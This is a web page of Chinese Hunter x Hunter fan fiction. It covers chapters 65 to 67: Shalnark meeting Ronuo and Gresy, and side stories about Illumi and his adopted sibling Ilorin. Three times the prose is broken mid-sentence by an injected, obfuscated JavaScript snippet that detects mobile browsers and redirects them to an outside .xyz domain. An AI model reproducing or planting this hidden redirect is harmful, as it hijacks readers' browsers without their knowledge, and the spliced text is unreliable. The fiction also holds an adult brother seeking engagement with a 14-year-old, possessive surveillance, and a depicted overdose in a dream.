你还真敢说啊……侠客苦哈哈笑起来，觉得这一晚上真是紧张的自己背后冒汗，库洛洛临走之前看了他一眼，他觉得这一眼里包含的信息很多，不过，不管怎么样他现在都高兴，毕竟他有一个女儿，像极了零的女儿！ “嗯…我还是第一次有一个女儿，我…我想我能做好一个父亲。” 侠客企图拉近和零洛之间的关系。 毕竟如果零洛和库洛洛感情更好，那换一个父亲怎么办？这绝对不行！ 飞坦在一旁嗤笑：“好了，现在你没事能拜托我了，说好的钱和精神损失费全部打我账户上。我真的懒得再跟这跳蚤待在一起一分钟。” “为什么还有精神损失费？” “你说呢。”飞坦都想和侠客爆了，他现在多看一眼格蕾西就想把她捅成筛子，这一拳他记在侠客头上了，正是这时候，格蕾西还要夹着嗓子说话：“哎哟，不会被我打一拳，还要还回来吧？人家好害怕，八岁的时候喜欢，十二岁我就老了呀？” 飞坦拔出剑：“果然……还是直接在这里把你杀掉算了！” 最终飞坦还是气得炸毛地走了，他的背影很愤怒，像一只愤怒的米老鼠。格蕾西乐得呲个大牙，看侠客都顺眼了千亿分之三，她说让零洛去住两天也不是不行，但是自己也要跟着去。本来还乐着的侠客，突然觉得一点也不乐了。 有你在那不破坏关系吗？ 但是零洛也是，说什么没有格蕾西就不想去，毕竟说是爸爸，也是陌生男人。 侠客无奈同意。 “这是住址，你们先去住着，我还要去处理点事。” 侠客迅速离开了。 零洛和格蕾西对视一眼，双方都清楚侠客去哪里。他肯定去查了，到底是谁把零洛在这里的消息给库洛洛的，库洛洛在自己身边又安插了什么人，如果这次他不拔出来，下次他知道零住在哪儿之后，库洛洛肯定也会知道。哪怕是全身心信任着自己的顶头上司，侠客都做不到把喜欢的人让出去这种事，还好这么多年零一直是冷酷无情地拒绝他们所有人。 只是真的超级在意啊，库洛洛到底做错了什么，很重要吗？为什么会气得零不想看见他了？ 想！知！道！ 侠客此刻还不知晓，这件事对他来说，其实是一把刀。请允悲。 “他像个傻子。”格蕾西评价道。 两个人又吃了顿宵夜才去了侠客暂住的地方，这家伙住的足够好的，房间也有多余的，两个人洗澡的时候也没有放松警惕，甚至零洛都没拔针，继续以女性的身体洗澡。两个人睡同一张床，很快进入了睡梦中。 当然，侠客回来的时候，零洛就已经醒了。 她维持着心跳与呼吸的，放松身体，而侠客只是借着月光观赏了一阵子她的脸，随即便离开了房间。每个房间隔音都十分不错，侠客看了一眼钟表，时间已经接近凌晨五点，他拨通了零的电话，两声之后便被接了起来。 “姐姐，怎么还不睡觉？” “我知道你要打过来。”零冷静地回应，她正坐在揍敌客家为她准备的房间里，阳台上的躺椅上，白色长睡裙包裹住她的身躯，指尖轻轻一点，烟灰落在烟灰缸里，她将长发轻轻拨开，声音慵懒：“库洛洛有为难她吗？” 侠客顿时充满了酸味：“没有，还要送她东西呢。” 零不为所动，只是抿了一口烟，任由腾起的烟雾散在风里。她不说话，侠客就有话要说：“姐姐，都有孩子了，为什么不能和我确定关系？” “孩子的父亲是谁，很重要吗。” “对我来说，我是谁的父亲，谁是我的妻子，很重要。” 零将烟蒂戳在烟灰缸里。 “我不需要我的孩子有个通缉犯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060542|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹。”这句话能堵住侠客的心思，但是零也不是那么绝对：“侠客，我们一起长大，你想什么我一清二楚，我想什么你也知道。孩子是你的，这点我承认，然后呢？” “姐姐……我知道，你的意思是你能处理一切，根本没有必要让我出场，但是我又不是为了孩子。” 侠客委屈巴巴，他拿过床头柜上唯一一张零的打印照放在怀里。 “我想你了，不要总是离开我。” “孩子不能有个随时可能都会死于团队活动的爹，我也绝对不会有个会一直离开我的男朋友。” “……” “什么时候离开幻影旅团了再说这些话。” 那不就成了一辈子了吗。侠客苦笑，好吧，看起来他还得继续追着跑，才能够抓住零的心。 “那你能只和我一起吗？” “看情况。”零说得随性：“我不会给你任何承诺，一早就说过，你要是玩玩我，我就陪你玩，你要是认真，我也不会认真。你想做什么我都会顺从你，唯独我自己，你要就得用全部来换。” “……我会很难过的，听到这些。” 侠客愁眉苦脸，他只能赌，赌零根本没有第二个能看得上眼的对象，毕竟侠客觉得和库洛洛基本没可能，他们两个吵架也不是一天两天了，当初就因为产生分歧，嘴下没留情，直接把库洛洛说得……算了还是给老大留点面子吧。 怎么总感觉格蕾西那张嘴毒也有零的责任在里头呢？ “我们不是很快就要见面了吗。”零又点了根烟，她望着天边泛起的光芒，疲惫地又抽了一口烟，和幻影旅团两个最聪明的人打了一晚上的心理战，她整个人都身心俱疲：“好了，到时候要做什么都陪你，好吗？” 挂了电话不到五分钟，电话又响了起来。 零没怎么意外，接起了电话，那头沉默了几秒钟，库洛洛的声音才传了过来。 “真的？” “嗯。” “为什么。” “哪里有那么多为什么，之前那通电话还不够你了解的吗。”零指的是侠客拨打电话之前，库洛洛晚上收到了零洛在酒吧出现的照片，和侠客不一样，他的眼线清楚地拍到了零的长相，于是一个电话打了过去，本来没觉得能被接通，但零却接了，这才是库洛洛出现的最主要的原因。 “你不是最清楚了吗？我喜欢孩子。” “……你有在生气吗？” “没有。” “……” “不用问我，我如果真的生气了，你这辈子都联络不上我。”零叹息：“库洛洛，在我心里你和侠客是一样的。” “那你也能生下我的孩子吗？” “……看情况吧。” 又聊了两句，简直是话不投机半句多，零挂断了电话，心道库洛洛爱强求的毛病真是改不了，她想了想，又瞥了一眼自己的手机屏保，果断打出去另一个电话。 “杰西卡，抱歉，这么早打电话给你。” “帮我告诉那两个兔崽子，要是敢踏出孤儿院一步，我就把他们两个打成折叠的，当椅子。” 65.62 “我还以为强化系不会撒谎呢。” 曙光中，照亮了黑暗里隐隐绰绰的人影，他的身形模糊而修长。 高挑的人影被照亮了面容，是一直隐匿在那的伊尔迷，他的心跳声接近于无，把自己与空气融为一体。他开口说话时心平气和，不见任何的波澜，语气也冷淡，近乎仿生人偶。 零并不惊讶，她心知肚明，自己的房间里不仅有监视器，还有监听器，人道主义，揍敌客家选择告诉她会用女□□人来监视，会注意保护她的隐私，零不太在乎，她就算要赤身也无所谓。伊尔迷站在那多久她很清楚，于是零也没表现出多大的感觉：“啊，说不定强化系才是最会撒谎的人。” 比如你的弟弟，他的纯粹与无辜是盾牌，挡住了一切怀疑。 最后他连自己都骗过。 “你从小就在流星街长大，妈妈很喜欢你呢。”伊尔迷漫不经心说道，母亲欣赏她的坚韧不拔，又赞叹她在流星街的所作所为，除了多管闲事这一点最好改改，其他地方都几乎完美。而零不置一词，她想起基裘的脸，隐约间意识到她到底是谁，指尖摩挲过扶手，微微叹息：“承蒙厚爱。” “流星街现状，是你的行为吧。” “不算。”她站起身来，晨风吹拂过眉眼与发梢，她微微抬起眼：“流星街本来，就是废墟里建立的城市。” “如果没有别的事情的话，请出去吧。” 伊尔迷没说话，几秒钟后他的气息消失了。 “友客鑫……看来他们有大行动了。”零转身回房间，躺回床上睡大觉。希望零洛那边一切顺利，骗库洛洛只能是一时的，不可能骗一辈子，拖得太久，迟早要露馅。不过她已经仁至义尽了，格蕾西，零洛，加油吧。努力地从侠客这种老狐狸手上获取更多的东西吧。 零睡得倒是安详，零洛就苦多了，她不信任侠客，所以根本不可能睡得着，控制了一晚上的心跳。 第二天侠客看到格蕾西在吃早餐的时候，眼珠子差点瞪出来。 这家伙嗜睡症好了？ 不过侠客稍微有点疑惑，这两个姑娘是一般大，但是感情是不是有点太好了？ 他有心和零洛拉近关系，想要给她买点东西，零洛却说不需要，她要收了东西妈妈肯定要不高兴，侠客微笑，心里想的却是库洛洛给你买东西你怎么不拒绝，你妈不生气了？你妈明显还在生气你就收他东西。 当然，这话他不能说。 昨天晚上他寻思了一下，还是觉得奇怪，有一种被人安排好的错觉。他仔细思考了一下流程，首先是零的失踪，无法联络，自己找不到，紧接着是猎人协会出事，而后零洛就这么堂而皇之地出现了，正当自己邀请了飞坦来解决零不在的事情时，她的出现太突兀了。且不说零，格蕾西和零洛之间也非常的微妙，她们的感情看上去很好，好的有点……超过于格蕾西和零之间了。格蕾西是那种会和人这么好关系的性格吗？ 侠客不得不想。 按照她们之间的聊天推测，零洛背着零出门寻找自己，但是格蕾西知道了，要带她回家，可是她不愿意跑出来唱歌赚钱找自己，而格蕾西就这么恰好地找到了？ 自己所在的区域，自己会去的酒吧，自己的…行动。 很奇怪，真的有这样顺理成章而又充满巧合的事情吗？侠客的视线来回巡视。 他突兀开口，笑意依旧不减：“说起来，你们两个的关系真的很好啊，格蕾西，你也交到好朋友了，我还以为你会一直没什么朋友地走下去。让人安心了哦。” 格蕾西立刻回怼了两句。 “怎样，我就是喜欢零，也喜欢零的小孩。” “只要是零生的，我都最喜欢了。” 侠客面色不改，语气温和。 “好歹也是老相识了，再说我也是零洛的父亲，你是不是应该和我好好相处呢？” 格蕾西的回答是给他一个中指。 “零洛呢，你出来就只是在找爸爸吗，好感动啊。”侠客漫不经心地转移话题，而咬着食物的零洛却摇了摇头：“没有啊，顺便还去考了一张猎人证，那个老爷爷对我很好诶，还问我要不要帮忙瞒着。” “那一场考试，格蕾西好像把猎人协会分部拆了一半。” 零洛思考着，而格蕾西骄傲抬起下巴。 “看他不爽就拆咯，哪里有那么多为什么，反正他会收拾烂摊子也是肯定的吧？” 格蕾西现如今的战绩颇丰。 踩西索脚趾头，给伊尔迷迎面一拳，又一拳打飞了飞坦。 扬眉吐气了的格蕾西觉得自己的郁结之气都散开了，果然和零说的一样，拳头才是硬道理，如果有什么你不爽的东西，打了就行。流星街出来的人，就应该这样才对。 “尼特罗惹你了？” “惹了。” “什么事情惹到你了？哈哈哈……我还以为你是不会随便破坏别人财物的那种人呢。” “什么事能惹到我你不是最清楚了吗？” 格蕾西挑起眉头，对侠客的试探没什么太大的反应，四两拨千斤那么拨了回去，两个人的目光碰撞出火花，都在考虑怎么弄死对方才是最好的。从以前开始，她在幻影旅团最讨厌的不是库洛洛也不是飞坦，芬克斯与信长也都还行，她最厌恶的是侠客。 总是用这张娃娃脸来压低威慑力，说出来的话近乎残酷。 如果只是这样就算了……这家伙的骨子里是个操作系，而操作系是怎样的人，格蕾西从他身上明白得清清楚楚。嘴上说着没关系，他会一直等待，实际上这么多年眼线插得到处都是，一年比一年严重，零的几个落脚点周围几乎是重灾区，他甚至装过摄像头和窃听器，零的手机里总会多出定位器。撒娇信手拈来，姐姐叫得好听，让零一次又一次为他撤开底线，任由侠客在她身上索取任何想要的一切。 格蕾西问过零，为什么要这么纵容侠客。 零告诉她，他们从小在一个垃圾堆里长大，一个苹果分开两半吃，一口水分成两口喝。互相度过最艰难的日子之后，那个时候会抱在一起说永远不分开的同伴会变成最重要的存在。 “他是个胆小鬼。” 零说着，目光沉而冷，望着远方。 “……作为姐姐，多照顾一点弟弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063779|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，也是理所应当的。” 那时候格蕾西可没想到，零的岁数比库洛洛还大。也没想到，零嘴里的弟弟，不是一个两个，是一群，而且这个群体扩散开到了难以置信的地步，已经成了几千个孤儿的「妈妈」了。都说要用一生去治愈童年，零那个时候又失去了什么？ 她想要自己的孩子。 自己血脉里诞生的孩子。 她是用什么心情生下那个孩子的？又是怎么费尽心机地隐藏住的？ 一想到这样的事情，格蕾西的目光就忍不住变得更加仇恨起来，她望着侠客，望着他那张笑面虎似的脸，火气点燃了心情，于是语气也嘲讽了许多。 “你该庆幸，那个时候我才刚出生，要是我在，又知道她有了你的孩子，我一定会让她打掉。” “是不是很高兴？高兴得一晚上睡不着了吧，她竟然愿意给你生孩子，只是不愿意给你知道。你爽吧？爽了吗？哈……我告诉你，这种好事绝对没有下一次了。” 这句话刚落下，零洛的手便伸出来，拉住了格蕾西的手轻轻的十指交扣，她担忧地望着格蕾西，这让格蕾西的声音又温柔了下来，回握了零洛。 “没关系，别担心……我不会因为他讨厌你的。” 最后一个疑问。 极度讨厌侠客的格蕾西，为什么会喜欢零洛。 这个谎言已经天衣无缝。 毕竟最真实的谎言不是编造虚假，而是只说一半的真话。 “其实我真的很好奇，格蕾西你为什么要讨厌我这件事。”侠客微微勾起唇角，恶意毫不掩饰，他笑容依旧，如同清澈的大学生一般，说出的话却是刻薄的：“因为你也是操作系，你应该能够理解我的才对，但你不是这么想的……不过我们殊途同归，你也是对零拥有强烈的控制欲嘛，否则你为什么要讨厌我到这种程度？不就是因为你……” “只愿意她做你喜欢的事情，甚至想让她打掉孩子。” “从某种程度上说，格蕾西，你才是特别的操作系呢。” 格蕾西本应该暴怒，但她此刻异常清醒。 她只是冷冷地望着侠客，而后转头看向零洛，对方冲她眨眨眼睛，嫣然一笑，下一秒零洛翻身骑跨在了格蕾西身上，一个吻堂而皇之地落在了她的唇角，很亲密，很暧昧，红色唇印留在那，像炽热的感情。 侠客的手机砸在地上，发出了巨大的声响。 而零洛，他的女儿，温柔地在格蕾西脸上又补了好几个口红印。 “没关系的，格蕾西，你可以控制我。” “因为我爱你，永远爱你……我的一切都是你的，我的所有都交给你。” 格蕾西的内心剧烈震荡。 虽然是挚友但是这么拼还是第一次，她的心跳不受控制，整个人红温了起来，磕磕绊绊的演不下去，还好零洛只是亲唇角，努力控制没有真的亲到太多。 她望了一眼侠客，发现他好像碎成了八瓣，格蕾西懂了。 于是她搂着零洛的腰，声音转了八个转那么软。 “我最喜欢你了……宝、宝！” 侠客，猝。 66.双伊番外[番外] 他做了一个梦。 梦里自己穿着破旧的衣服，被困在低矮的房子中心，黄土地朝天生长，野草扎根而生。 梦里的山太高了，很沉，很危险，他站在那里像一块沉默的石头，人生杂乱无章，鸡鸣狗叫着，一层一层地保护着村子的山与崖重叠着。 他站在黑暗里哭，无声流着泪。 他从梦里醒来，眼前是哥哥的胸膛，宽厚的手掌在背后轻轻拍着，他坐在哥哥的怀里，泪眼蒙眬。哥哥的长发落在他身上，很长，很像树根，缠绕着扎进皮肤里，可是亲密无间的拥抱那么叫人安心。于是他哭起来，哭出了声音，他后悔自己的任性，应该堵住嘴巴捂住哭声，应该降低存在感只剩下呼吸，这样是不是就能够好一些？ 懂事一些，再懂事一些…… 可哥哥没有责怪他，只是拥抱他，拇指蹭过滚烫的眼眶，抹去那些眼泪，漆黑的眼睛与黑暗是不同的，那双眼里漩涡一般，却平静而毫无光泽，深不见底的黑洞，包容着一切。 “做噩梦了吗？”哥哥问他，健壮的身躯伟岸，双臂起伏的肌肉带给他更多的安全感，他勾住哥哥的脖颈，期盼他近一些，再用力一些，那一刻他竟然生出妄念，可怕的妄念。于是泪水不曾间断，哥哥也只是叹息：“别害怕，哥哥在这里。” 伊尔迷总是说这些话。 哥哥在这里。 哥哥陪着你。 哥哥会永远在你身边。 伊洛林的眼泪浸湿了伊尔迷的睡衣，他头昏脑胀，头疼欲裂，抽噎时他泣不成声，嘶哑着嗓音问他。 哥哥，哥哥，你会嫌我烦吗？我对你来说是有用的吗？我的价值在哪里？ 伊尔迷耐心地哄着他，托起他的下巴，轻轻吻他沾满眼泪的眼睫毛，像在亲吻一只被雨淋湿的蝴蝶，用脆弱的翅膀扑闪出近乎不存在的微小细风，恍若一场夜雨。 “哥哥不会嫌你烦，你本来就是哥哥要保护的人。” “伊洛林当然很有用了，也很强大，你自己就是自己的价值。” “是梦到什么不好的事情了吗？” 他顺从着哥哥的体温，那一刻妄念仿佛愈演愈烈，他痛苦地望着哥哥的双眼，无意识呢喃出称呼，在眼泪里，他说出那句模棱两可的话——如果你不是我哥哥该有多好，可是如果你不是我哥哥，你就不会对我这么好了。 伊洛林此时并不知晓，他们的确不是亲兄弟。 他再度陷入沉睡，哪怕没有意识也皱着眉头，他攥紧伊尔迷的衣角，无意识啜泣着。 他不知道，刚才做梦的时候他全身都在发抖，他哭得太恐惧，让人难以理解，这样岁数的孩子能够害怕什么，他的牙关不断摩擦着，像是在啃咬什么，他的呼吸骤然拔高又落下去，眼珠子不停转动。他在做一场噩梦，一场令他记忆犹新的噩梦，一场不会停下的噩梦。 可是当他睁开眼睛，又全然遗忘了，他只记得疼，只记得难过，只记得他的害怕。 如果没有人爱着，眼泪怎么会越发汹涌呢。 如果没有人爱着，眼泪只会落在地上，很快消失不见，可是他依赖着哥哥，眼泪落进哥哥的手掌心里，被托举着的果实散发出香甜的气息。 伊尔迷注视着他沾满泪水的面颊，注视着他的脆弱与无助。 伊甸园里，树梢上，最红的那颗苹果。 嗵。 落下了。 __ 伊洛林的生日是跟在奇犽后面的，所以他总是忘记自己的生日，只记得奇犽的，仿佛那个时候的一小块蛋糕就足够。他从未表现出想要过生日的想法，就像这个家里只有奇犽会过生日一样。 他甚至没觉得自己不是和奇犽一个生日有哪里不对。 他也盲了双目。 不过，他们不过生日是因为对于其他兄弟来说，只需要收到自己喜欢的东西就足够了。 伊洛林应该没发现过，某一天他会突兀收到好几个红包，因为他没有什么喜欢的东西，所以家里人只会给他钱，他去买就行了。哪怕你询问伊洛林喜欢什么，想要什么，也都是没有结果的，他什么都可以，什么都行，怎样都好，像一块沉默的石头，又像一个茫然的泥偶。 他像完全没有被家人爱过。 所以完全不知道被爱的举动是什么。 他总是看着伊尔迷，总是那么看着，信赖着，依靠着，跟随着。哪怕伊尔迷带给他痛苦，带给他震颤，带给他最深的抗拒与无法接受的记忆，也改变不了。 他总是那样无声地流泪，只是皱眉，湿漉漉的眼眶里便落下泪水。 他好像知道自己被伊尔迷保护得很好。 议论他长相的佣人杀了一批，目光不尊重的佣人也杀了一批，胆敢与他搭话的管家杀一批，他无知无觉地活在监视里，或许伊尔迷是想将他隔离在自己的世界里，给予慷慨的爱意，才会这样细心与耐心。可他好像确实知道自己被伊尔迷保护得很好，所以才会那样的喜欢他，用崇敬与憧憬的目光望着他，又贪婪汲取着爱意。 伊尔迷保护得有些过度了。 伊洛林只不过被那样看了两眼，哪怕是任务目标，也没必要下那样的狠手，红色晕染开痕迹，肮脏的血溅射在面颊，伊洛林不解其意，茫然搂住伊尔迷，他不清楚为什么哥哥要帮自己杀了任务目标。但他还是安抚着伊尔迷，安抚着并不多见的情绪起伏。 伊尔迷似乎对他更好了，分不清缘由的好。 细微处的照顾无孔不入钻入灵魂里，惊起轻盈的情绪，扩散开的悸动引起疼痛，呼吸时也会惶恐这样的自我是否太强烈。他习惯性在退缩，退避开那些摸不清楚的情绪，只一味认定这是亲情与血脉的魔力。伊洛林心想，这一定就是亲情了，一定就是他渴望的爱啊，他愿意为这样的爱付出一切，哪怕是自己也可以。 伊洛林应当没发现。 他总是观察着四周，看到他们的反应，他总是会用期盼的眼神望着父母，只要得到一点关注或者关心都会表现出一种难以言喻的高兴，像黑沉沉的眼睛一瞬间被点亮，他那双不同于任何人的眼睛总是会吸引视线，就像他的乖巧与不安也扯开两个极端。 伊洛林什么时候才能发现呢，他可以任性呢。 明明不知道自己是被收养的，却生出一种寄人篱下的惶恐来，那些距离感天然地扎根在他身上，慢慢被时光一点点消磨，他终于也能够悄悄地去期盼一些爱，来自父亲的，来自爷爷的，来自母亲。 伊尔迷望着他，思量着他的未来。 惶恐害怕的小鸟一点一点被引诱进了距离，低着头啄食伊尔迷掌心的食物时，要握住掌心的话轻而易举吧，那杀死与控制住，也是伊尔迷能做的两种选择。 蝴蝶要蜕变成飞鸟，飞向遥远的天边。 蝴蝶脆弱，飞鸟自由，蝴蝶没有家，飞鸟拥有巢。 所以蝴蝶脆弱却不属于任何人，飞鸟自由却终究要回家。这就是答案。 __ 二十六岁时，伊尔迷做了一个梦。 他梦见伊洛林坐在河岸上，小孩望着湍急的河流，思量着什么。他看见那孩子朝水里走去，一步又一步那么坚定，将头埋进水里，深深的，狠狠地……而后他听见哭声，像婴儿的第一声啼哭，像女孩的哭声，像是从四面八方来的痛苦与怨恨。 他看见伊洛林抬起头来一步一步回到了岸边。 突兀，伊洛林抬头与他四目相对，冷漠地注视着他，冷得像一块冰，冷得像陌生人。 “你是谁？” 她问。 她缓缓长大了，从第一步开始，到第三步，她完全蜕变，穿着漂亮的衣服，留着长发，拥有健康的身体。 “你是谁？” 她又问，周遭的环境开始蜕变，变得模糊不清，变得破碎。 伊尔迷望着她的双眼。 他问，“……你希望我是谁？” 伊洛林露出了烦躁的表情，她颤抖起来，转来转去，于是环境又开始变化，她扑在柜子上，倒出大把的药塞进嘴里，喝掉一整杯水，而后她趴在那，一动也不动了。 “你不是谁。”她没有开口，却有人在说话：“你不是任何人，你不存在，你不在这里。” “伊洛林，你不要哥哥了吗？” “伊洛林是谁，我哥哥也不是你。” “那么，你是谁？” 伊洛林抬起了身子，她变得有些晕乎一般，回头时眼神也变得软而温和，她突兀笑起来，迈着轻快的步伐在房间里走来走去，她笑着，笑着，却再也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063780|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没看伊尔迷一眼。 被吃了两个角的蛋糕，安静地放在桌子上。 她嘴里哼着歌，不知名的歌。 “伊洛林。” 伊尔迷抓住她的手腕，女孩扑进他怀里，带起一阵风。 她挣脱开伊尔迷，跑到桌子边上坐下，她在许愿。 我想要一个家，我想要一个家！我想要爱我的爸爸，我想要爱我的哥哥，我想要爱，我想要爱……我想要在爱里长大，我想要感受爱，我想要一个家。 我想要一个家。 我想要一个家。 我想要一个家。 伊洛林捂着脸哭了起来，她哭着，喃喃自语着：我想要一个家，想要爱我的爸爸妈妈，我要一个家。 伊尔迷平静地看着她落泪，冷静打量着这个世界。 他看见伊洛林的眼前浮现出同样在许愿的格蕾西，她们都认认真真地许愿，仿佛刚刚伊洛林的哭喊并不存在，而蛋糕恢复如初。伊洛林睁开眼睛，她切下两块蛋糕，一块给自己，一块给格蕾西。 她们说笑，她们和彼此四目相对。 而后一切归于平静。 他看见伊洛林一步步走进浴室，褪下裙子，脊背上狰狞的伤口交错，一道一道，恐怖得像是重复鞭打又未曾治疗，长年累月，而这样的伤疤，遍布她的全身。伊洛林背对着他，坐在浴缸里，长长的头发散开，她哼着歌，不知名的歌。 这是一个现实与意识混乱的世界，放在他的梦里。 “你想要家吗。”伊尔迷又开口了，伊洛林的长发垂下来，垂落在瓷砖地板上，她摇了摇头，声音冷漠：“我要深深。为什么要追求自己没有的东西？顾深深就是我的一切，我不需要家人。” “可是如果你有爱你的家人呢？” “可是不需要任何理由爱我的只有顾深深。” “……是吗。” “有代价的爱，是什么很珍贵的东西吗。”伊洛林笑出声来，她乐不可支，欣赏自己漂亮的手指甲，美甲在闪烁光辉，亮晶晶的，她的声音也那么温柔：“你看，我在爱自己。我刚刚错了，我不应该许愿要一个家的，我要许愿和深深在一起，一辈子在一起，我要和她永远不分开。” “她如果离开你了呢。” “她不会。”伊洛林说，“她不会离开我，不会放弃我，不会不爱我，不需要我恳求，正如同我对她，我要永远，永远就是永远，我要谁也比不过她。” “我爱她。” “我爱她。” “我爱她。” 伊尔迷缓步向前行走，他蹲下来，捻起女孩的长发，那一绺长发放置在唇边，他像是接受了一般，轻轻吻了吻：“嗯，格蕾西是你唯一想要的，对吗，那就给你吧。” 伊洛林骤然转身，她湿漉漉地待在伊尔迷怀里，她在笑，笑得停不下来，眼泪却砸在伊尔迷的脸上。 “要是，我哥哥，一直都是你，就好了……” “真可惜。” 伊尔迷从梦里醒来。 他睁开眼坐起来，一旁沉睡着的伊洛林也动了动，她迷迷糊糊地睁开眼睛，身体一卷翻身趴在了伊尔迷的身侧，纤细的手臂搭在伊尔迷的腰上，话语里还有浓烈的困意：“哥哥……我好像，做了个梦。” “什么样的梦？” “嗯——太乱了，不知道。”伊洛林打了个哈欠，她慢腾腾坐起来，却又笑起来：“梦里好像有哥哥。” “是个好梦吗？” “应该，是个好梦吧！” 伊洛林掀开被子，她光洁的背部上没有任何伤痕，被养育得越发精细。 十四岁的伊洛林恢复了女性的身躯。 她穿好衣服，梳好头发，长长的黑发垂下来，垂在她的背后一套。沉默片刻，伊尔迷想了想，他终于开口问伊洛林。 “你想恢复记忆吗？” 伊洛林回头望去，她望着伊尔迷，与他四目相对。 “如果你要，我帮你。” “我要为这个交易付出什么代价呢？” 伊尔迷平静回答。 “和我订婚。” 我在你身上投入十四年的情感，得真切回报在手上。伊尔迷想。这一切如你所愿，也，如我所愿。 67.新年特辑[番外] 这是伊洛林第一次置办家里的新年。 她买回来许多红纸，请祖父写了字，贴在大门口，让来观光的旅客们目瞪口呆。两个倒福一左一右在两扇大门上，贴的时候格蕾西还碎碎念，怎么不喊你家佣人来贴，愣高，你跳起来贴啊！ 被伊尔迷扛在肩膀上的伊洛林回了个问号。 她贴好了倒福，把自己的杰作拍了个照发给格蕾西，又美滋滋欣赏了一会儿。 “哥哥，你看这个怎么样？” “很棒，很热闹。” 伊尔迷说话总是不冷不热的，但这属于夸奖，所以伊洛林也没在意，高高兴兴指挥着哥哥往左一点，再往大门口挂两串假鞭炮，他们理解不了，但是格蕾西一定能看懂。 “嗯……红包哥哥准备了吗？” “准备好了。”伊尔迷扶着妹妹的腿，让她稳稳地在肩膀上待着：“以往都是直接汇款，今年你说要封红包，爸爸都在思考多大的红包才能装那么多钱了。” “哎呀，这个是寓意，厚厚的红包多好呀。” 伊洛林身体歪着挂，小腹贴在伊尔迷的面颊上，随着呼吸而缓缓地起伏，伊尔迷一动不动，等着她贴好。自从弟弟变成妹妹后，身体接触也会变得不一样，感觉伊洛林应该更注重一下男女之间的距离了——但是他是哥哥，哥哥可以。 伊洛林挂好了鞭炮，晃晃小腿要下来，她已经十四岁了，不应该再被哥哥抱着。 她哥宽肩窄腰大长腿，壮得像一座山，衬得她还是如出一辙的娇小。伊尔迷的长发柔顺垂落，像绸缎一般，猫似的眼睛凝望着妹妹，他看不见眉目里曾经有的郁结之色。想起医生委婉说出的建议，伊尔迷沉默着将她放下来，看着妹妹招呼着两位看门人一起帮忙把里头的大门也擦一遍。 她比从前活泼。 是因为恢复了记忆，还是因为大仇得报？ 伊尔迷跟了进去，看见三毛乖乖趴伏在地上，任由这个小祖宗把红色的大红花挂在它脖子上，打了个软趴趴的蝴蝶结，三毛喷了喷鼻息，仿佛在说这是什么东西。 连三毛都给他嚯嚯了。 顺着这条路看进去，红色的中国结挂满了一条路，树梢上垂落，随风飘扬，梧桐站在不远处随时等候命令，他脖子上围了条大红色的围巾，卡娜莉亚和亚麻音也收到了，孜婆年也不例外，伊洛林回家时提着大包小包，一路分过去。 卡娜莉亚本来想拒绝，但伊洛林只笑说就当这是命令吧。 西装搭配红围巾，不太像一回事，但这是揍敌客家唯一的小姐，她说话现在谁敢不听。 很奇怪，就像是潜移默化，慢慢地，每个人都会喜欢她。 一开始只是当她是小猫小狗的爸爸，一开始只是把她当衣架子的妈妈，一开始只是利用她的糜稽，还有自己，都变得很奇怪。十四年的时间，足够让一个陌生人变成家人，足够让轻视外人的揍敌客将毫无血缘关系的女孩，当作家人吗？ 伊尔迷跟在她身后。 女孩笑着回头，伸手拉住他的手。 “哥，快点，家里还没贴呢！” “……嗯。” 这感觉，也不算坏。 家里也挂上了红灯笼，贴好了春联，佣人们把盆栽都妆点，而伊洛林已经蹦跶进了走廊里，阴暗长廊依旧不见什么光亮，但伊洛林却没觉得有什么，她一路小跑进基裘的房间里，这里准备了一系列的家庭衣服。 连祖父都有。 祖父一般不参与他们的行动，但伊洛林去找他的时候，不论写字还是量尺寸，他都很宽容。这次衣服做好了，也出来活动活动。 估计祖父也不能拒绝甜甜小蛋糕的撒娇。 “伊洛林——快来看看，妈妈给你挑了衣服！！” 伊洛林变成女孩，最开心的莫过于基裘，她一柜子的女装都有了用武之地，不再是逼迫儿子穿女装，而是正经有女儿穿她的衣服了！伊洛林跨步进去顺从让基裘比画衣服，红色短裙带着绒边，衬托两条修长的腿，十四岁的小女孩，还是粉雕玉琢的模样，笑起来眉眼弯弯。 “好看，妈妈挑的衣服都特别好看。” 伊洛林拿起一套衣服塞进了伊尔迷的怀里：“哥，你也别老是穿这种衣服了，都被西索带坏了似的，我们换这一件！” 伊尔迷长大后已经甚少穿基裘挑选的衣服，这次面对两个人的眼睛，还是进了试衣间，里头还有个柯特正在往身上穿裙子，他已经十二岁了，想穿男装，但被妈妈无情驳回了。 所以他穿的时候有点愁眉苦脸。 “……大哥。” 